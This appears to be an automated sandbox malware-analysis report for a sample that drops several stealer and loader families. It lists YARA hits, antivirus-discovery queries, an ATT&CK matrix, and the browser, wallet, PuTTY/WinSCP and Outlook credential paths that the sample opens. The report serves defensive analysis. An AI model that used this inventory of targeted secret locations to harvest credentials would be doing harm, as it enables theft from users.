Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\76D5.exe

Code function: 6_2_00408320 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

6_2_00408320

Source: C:\Users\user\AppData\Local\Temp\933A.exe

Code function: 13_2_00401370 GetUserNameW,GetComputerNameW,

13_2_00401370

Source: C:\Users\user\AppData\Local\Temp\933A.exe

Code function: 13_2_0045DEC8 _free,GetTimeZoneInformation,

13_2_0045DEC8

Source: C:\Users\user\AppData\Local\Temp\76D5.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Glupteba

Source: Yara match	File source: 27.3.C1FD.exe.36a0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.C1FD.exe.36a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.2.C1FD.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.3.C1FD.exe.38c0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.C1FD.exe.2db0e67.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.2.C1FD.exe.2fd0e67.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.C1FD.exe.2db0e67.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.C1FD.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.C1FD.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000003.2160333190.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2213490486.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.4114001709.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.4113654029.0000000003413000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2202746123.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2203382140.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.4104507034.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.4105881536.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: C1FD.exe PID: 3164, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: C1FD.exe PID: 4008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: C1FD.exe PID: 676, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: 13.2.933A.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.933A.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.933A.exe.25e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2038973709.00000000025E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 933A.exe PID: 4476, type: MEMORYSTR

Yara detected Petite Virus

Source: Yara match	File source: C:\Program Files (x86)\PRingTone\bin\x86\is-7BFJI.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\PRingTone\bin\x86\is-CNQNP.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\PRingTone\bin\x86\is-TL5BN.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\PRingTone\bin\x86\is-6F22E.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\PRingTone\bin\x86\is-8IR3C.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\PRingTone\bin\x86\is-UQIIU.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\PRingTone\bin\x86\is-NFO0I.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\PRingTone\bin\x86\is-VBAIR.tmp, type: DROPPED

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 12.2.8FEE.exe.a60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2285066463.0000000000A63000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8FEE.exe PID: 6864, type: MEMORYSTR

Yara detected SmokeLoader

Source: Yara match	File source: 48.2.cwischf.2490e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.AF9D.exe.25e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NBHEkIKDCr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 48.2.cwischf.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NBHEkIKDCr.exe.2490e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.NBHEkIKDCr.exe.24a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.faischf.9c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 48.3.cwischf.24a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.AF9D.exe.a30e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.faischf.9b0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.faischf.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.AF9D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1639239838.00000000024A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1703049912.00000000025E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.2424591742.00000000025C1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2160387190.00000000025E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000003.2373486814.00000000024A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1702972838.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1944561825.00000000023C1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1893386944.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2160447773.0000000002611000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.2424546841.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1944361453.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2109020648.00000000025E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Socks5Systemz

Source: Yara match	File source: 0000002A.00000002.4111813779.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.4112076174.0000000002B61000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PRingTone.exe PID: 4600, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 8FEE.exe, 0000000C.00000002.2287640236.00000000019D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: 8FEE.exe, 0000000C.00000002.2287640236.00000000019D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: 8FEE.exe, 0000000C.00000002.2287640236.00000000019D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\com.liberty.jaxx\*
Source: 8FEE.exe, 0000000C.00000002.2307087667.0000000009F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\.json\
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum\walletsLR^q
Source: 8FEE.exe, 0000000C.00000002.2307087667.0000000009F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\.json\
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: EthereumE#
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $^q5C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\8FEE.exe

File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Yara match	File source: 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2289445818.0000000003BC2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8FEE.exe PID: 6864, type: MEMORYSTR

Remote Access Functionality

Yara detected Glupteba

Source: Yara match	File source: 27.3.C1FD.exe.36a0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.C1FD.exe.36a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.2.C1FD.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.3.C1FD.exe.38c0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.C1FD.exe.2db0e67.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.2.C1FD.exe.2fd0e67.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.C1FD.exe.2db0e67.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.C1FD.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.C1FD.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000003.2160333190.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2213490486.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.4114001709.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.4113654029.0000000003413000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2202746123.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2203382140.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.4104507034.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.4105881536.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: C1FD.exe PID: 3164, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: C1FD.exe PID: 4008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: C1FD.exe PID: 676, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: 13.2.933A.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.933A.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.933A.exe.25e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2038973709.00000000025E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 933A.exe PID: 4476, type: MEMORYSTR

Yara detected Petite Virus

Source: Yara match	File source: C:\Program Files (x86)\PRingTone\bin\x86\is-7BFJI.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\PRingTone\bin\x86\is-CNQNP.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\PRingTone\bin\x86\is-TL5BN.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\PRingTone\bin\x86\is-6F22E.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\PRingTone\bin\x86\is-8IR3C.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\PRingTone\bin\x86\is-UQIIU.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\PRingTone\bin\x86\is-NFO0I.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\PRingTone\bin\x86\is-VBAIR.tmp, type: DROPPED

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 12.2.8FEE.exe.a60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2285066463.0000000000A63000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8FEE.exe PID: 6864, type: MEMORYSTR

Yara detected SmokeLoader

Source: Yara match	File source: 48.2.cwischf.2490e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.AF9D.exe.25e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NBHEkIKDCr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 48.2.cwischf.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NBHEkIKDCr.exe.2490e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.NBHEkIKDCr.exe.24a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.faischf.9c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 48.3.cwischf.24a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.AF9D.exe.a30e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.faischf.9b0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.faischf.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.AF9D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1639239838.00000000024A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1703049912.00000000025E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.2424591742.00000000025C1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2160387190.00000000025E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000003.2373486814.00000000024A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1702972838.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1944561825.00000000023C1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1893386944.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2160447773.0000000002611000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.2424546841.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1944361453.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2109020648.00000000025E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Socks5Systemz

Source: Yara match	File source: 0000002A.00000002.4111813779.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.4112076174.0000000002B61000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PRingTone.exe PID: 4600, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	Exfiltration Over Other Network Medium	13 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	12 Native API	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	3 Data from Local System	Exfiltration Over Bluetooth	21 Encrypted Channel	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	712 Process Injection	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	Automated Exfiltration	1 Non-Standard Port			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	3 Command and Scripting Interpreter	Login Hook	1 Registry Run Keys / Startup Folder	4 Obfuscated Files or Information	NTDS	246 System Information Discovery	Distributed Component Object Model	1 Email Collection	Traffic Duplication	1 Multi-hop Proxy			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	23 Software Packing	LSA Secrets	1271 Security Software Discovery	SSH	Keylogging	Scheduled Transfer	4 Non-Application Layer Protocol			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	761 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Data Transfer Size Limits	125 Application Layer Protocol			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	2 Proxy			Inhibit System Recovery	Web Services	DNS
Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 File Deletion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Exfiltration Over Alternative Protocol	Application Layer Protocol			Defacement	Serverless	Network Trust Dependencies
Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	122 Masquerading	/etc/passwd and /etc/shadow	3 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Web Protocols			Internal Defacement	Malvertising	Network Topology
Supply Chain Compromise	PowerShell	Cron	Cron	761 Virtualization/Sandbox Evasion	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	File Transfer Protocols			External Defacement	Compromise Infrastructure	IP Addresses
Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	712 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Exfiltration Over Unencrypted Non-C2 Protocol	Mail Protocols			Firmware Corruption	Domains	Network Security Appliances
Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Hidden Files and Directories	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	Exfiltration Over Physical Medium	DNS			Resource Hijacking	DNS Server	Gather Victim Org Information
Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Regsvr32	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Exfiltration over USB	Proxy			Network Denial of Service	Virtual Private Server	Determine Physical Locations

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
NBHEkIKDCr.exe	41%	ReversingLabs
NBHEkIKDCr.exe	46%	Virustotal		Browse
NBHEkIKDCr.exe	100%	Avira	HEUR/AGEN.1312672
NBHEkIKDCr.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Program Files (x86)\PRingTone\PRingTone.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\PRingTone\PRingTone.exe	35%	ReversingLabs	Win32.Trojan.Generic
C:\Program Files (x86)\PRingTone\PRingTone.exe	38%	Virustotal		Browse
C:\Program Files (x86)\PRingTone\bin\x86\7z.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\7z.exe (copy)	0%	Virustotal		Browse
C:\Program Files (x86)\PRingTone\bin\x86\OptimFROG.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\OptimFROG.dll (copy)	0%	Virustotal		Browse
C:\Program Files (x86)\PRingTone\bin\x86\bass.dll (copy)	3%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\bass.dll (copy)	0%	Virustotal		Browse
C:\Program Files (x86)\PRingTone\bin\x86\bass_aac.dll (copy)	3%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\bass_aac.dll (copy)	0%	Virustotal		Browse
C:\Program Files (x86)\PRingTone\bin\x86\bass_fx.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\bass_fx.dll (copy)	0%	Virustotal		Browse
C:\Program Files (x86)\PRingTone\bin\x86\bass_ofr.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\bass_tta.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\bassalac.dll (copy)	3%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\bassape.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\basscd.dll (copy)	3%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\bassdsd.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\bassflac.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\bassmidi.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\bassmix.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\bassopus.dll (copy)	3%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\basswma.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\basswv.dll (copy)	3%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\d_writer.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\da.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\daiso.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\dsd2.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\dsd2pcmt.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\dstt.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\ff_helper.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\gain_analysis.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-2O9C4.tmp	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-3IMHN.tmp	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-3UH5L.tmp	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-4ABIC.tmp	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-656IU.tmp	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-69QGT.tmp	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-6F22E.tmp	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-72EEK.tmp	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-7BFJI.tmp	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-7HTFR.tmp	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-8IR3C.tmp	3%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-9I96E.tmp	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-B6G1A.tmp	0%	ReversingLabs
